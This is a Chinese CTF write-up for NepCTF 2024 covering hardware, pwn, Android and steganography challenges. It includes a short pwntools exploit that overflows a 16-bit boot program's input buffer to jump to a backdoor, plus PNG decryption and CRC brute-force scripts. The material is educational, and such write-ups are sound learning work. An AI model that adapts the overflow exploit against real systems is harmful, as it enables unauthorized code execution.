2024NepCTF writeup 拿了两个hardware的2血,一个pwn的3血,第10名
hrpos 实现了一个最小的操作系统,并使用qemu运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash while true ; do pkill -f qemu qemu-system-x86_64 \ -m 1M \ -drive file=/home/nepkernel/floppy.img,format=raw,if =floppy \ -monitor /dev/null \ -serial tcp::8866,server,nowait \ -nographic \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null & sleep 20done
提取kernel.bin
1 dd if =floppy.img of =extracted_kernel.bin bs =512 skip =1 count =2879
ida分析后通过系统调用发现是16位boot程序,用16位打开,sub_22输出si指向的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 seg000:0000 sub_0 proc near ; CODE XREF: sub_0+20↓j seg000:0000 31 C0 xor ax, axseg000:0002 8E D8 mov ds, axseg000:0004 8E C0 mov es, axseg000:0006 8E D0 mov ss, axseg000:0008 BC 00 7C mov sp, 7C00hseg000:000B BE 78 10 mov si, 1078hseg000:000E E8 11 00 call sub_22 seg000:000Eseg000:0011 BE 8C 10 mov si, 108Chseg000:0014 E8 0B 00 call sub_22 seg000:0014seg000:0017 E8 44 00 call sub_5E seg000:0017seg000:001A BE 9E 10 mov si, 109Ehseg000:001D E8 02 00 call sub_22 seg000:001Dseg000:0020 EB DE jmp short sub_0seg000:0020 seg000:0020 sub_0 endp ...seg000:0078 57 65 6C 63 6F 6D 65 20 74 6F+aWelcomeToMyOs db 'Welcome to my OS!',0Dh,0Ah,0 seg000:008C 45 6E 74 65 72 20 63 6F 6D 6D+aEnterCommand db 'Enter command: ',0Dh,0Ah,0seg000:009E 55 6E 6B 6E 6F 77 6E 20 63 6F+aUnknownCommand db 'Unknown command!',0Dh,0Ah,0 seg000:00B1 4E 65 70 43 54 46 7B 48 52 50+aNepctfHrpLocal db 'NepCTF{HRP_Local_test}'
发现存在后门直接输出flag
1 2 3 4 seg000 :002 E BE B1 10 mov si, 10 B1hseg000 :0031 E8 EE FF call sub_22seg000 :0031 seg000 :0034 C3 retn
sub_5E猜测read的时候di会自增,存在溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 seg000:005 E sub_5E proc near ; CODE XREF: sub_0+17↑p seg000:005Eseg000:005E var_10= byte ptr -10hseg000:005E seg000:005E 55 push bp seg000:005F 89 E5 mov bp, spseg000:0061 83 EC 10 sub sp, 10hseg000:0064 8D 7E F0 lea di, [bp-10h]seg000:0064 seg000:0067seg000:0067 loc_67: ; CODE XREF: sub_5E+16↓j seg000:0067 B4 00 mov ah, 0seg000:0069 CD 16 int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY seg000:0069 ; Return: AH = scan code, AL = character seg000:0069seg000:006B 3C 0D cmp al, 0Dhseg000:006D 74 07 jz short locret_76seg000:006D seg000:006F AA stosb seg000:0070 B4 0E mov ah, 0Ehseg000:0072 CD 10 int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE) seg000:0072 ; AL = character, BH = display page (alpha modes) seg000:0072 ; BL = foreground color (graphics modes) seg000:0072seg000:0074 EB F1 jmp short loc_67seg000:0074 seg000:0076 ; ---------------------------------------------------------------------------seg000:0076 seg000:0076 locret_76: ; CODE XREF: sub_5E+F↑j seg000:0076 C9 leave seg000:0077 C3 retn
溢出改返回地址为后门即可
1 2 3 4 5 6 from pwn import * io = remote('127.0.0.1' ,8866 ) sleep(3 ) backdoor = 0x2e io.sendline(b'a' *(0x10 +2 ) + p16(backdoor)+b'\x0d' ) io.interactive()
flag输出后马上消失了,录视频暂停找flag
nepWRT?? 给了一个openwrt固件的文件系统
发现初始化脚本里会往/www/init.etc
写东西,形似bsae64,然后把这个文件的内容输出到n3pF1@g
,grep找出所有写入操作
S表示启动脚本,K表示终止脚本,数字越小越先启动
按启动顺序对base64片段排序,有几处顺序不对,多尝试就行
火眼金睛 arm小端的Vxworks固件符号表分析,之前写过相关文章
流程:binwalk提取固件 -> 根据大小找到vxworks文件 -> grep找符号表文件 -> ida python脚本修复Vxworks文件的符号表
修复符号表过程中报错提示7GFXFGMLHNB2F6MLOL53FQ5ZQOJ
和TUNAZXE7I=mote_sta_info
是非法函数名称
16进制查看器找到这里
之后试了base64不对就去找别的点了,卡了半天,后来给了hint确认是这个点才发现是base32
0ezAndroid 用mt管理器把点击后的弹窗和随机位置变换的函数调用注释掉后重新编译打包安装
再用连点器一直点按钮得到flag
Nemophila 审计mini.py得到压缩包密码secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}
解压压缩包得到png图片,查看hex发现加密了。把加密的前4个字节和正常的png头部.PNG
异或,得到secr
,猜测和压缩包密码循环异或加密。
解密得到png
1 2 3 4 5 6 7 8 9 10 11 with open ('miaomiao.png' , 'rb' ) as img: cipher = img.read() key = 'secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}' data = []for i in range (len (cipher)): data.append(ord (key[i%48 ]) ^ cipher[i])print (data)with open ('miaomiao_dec.png' , 'wb' ) as out: out.write(bytes (data))
打开图片没flag,检查IHDR隐写,通过crc爆破图片宽高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import zlibimport structimport sys filename = sys.argv[1 ]with open (filename, 'rb' ) as f: all_b = f.read() crc32key = int (all_b[29 :33 ].hex (),16 ) data = bytearray (all_b[12 :29 ]) n = 4095 for w in range (n): width = bytearray (struct.pack('>i' , w)) for h in range (n): height = bytearray (struct.pack('>i' , h)) for x in range (4 ): data[x+4 ] = width[x] data[x+8 ] = height[x] crc32result = zlib.crc32(data) if crc32result == crc32key: print ("宽为:" ,end="" ) print (width) print ("高为:" ,end="" ) print (height) exit(0 )
16进制编辑器里对比发现高度被改小了,改回正常大小得到flag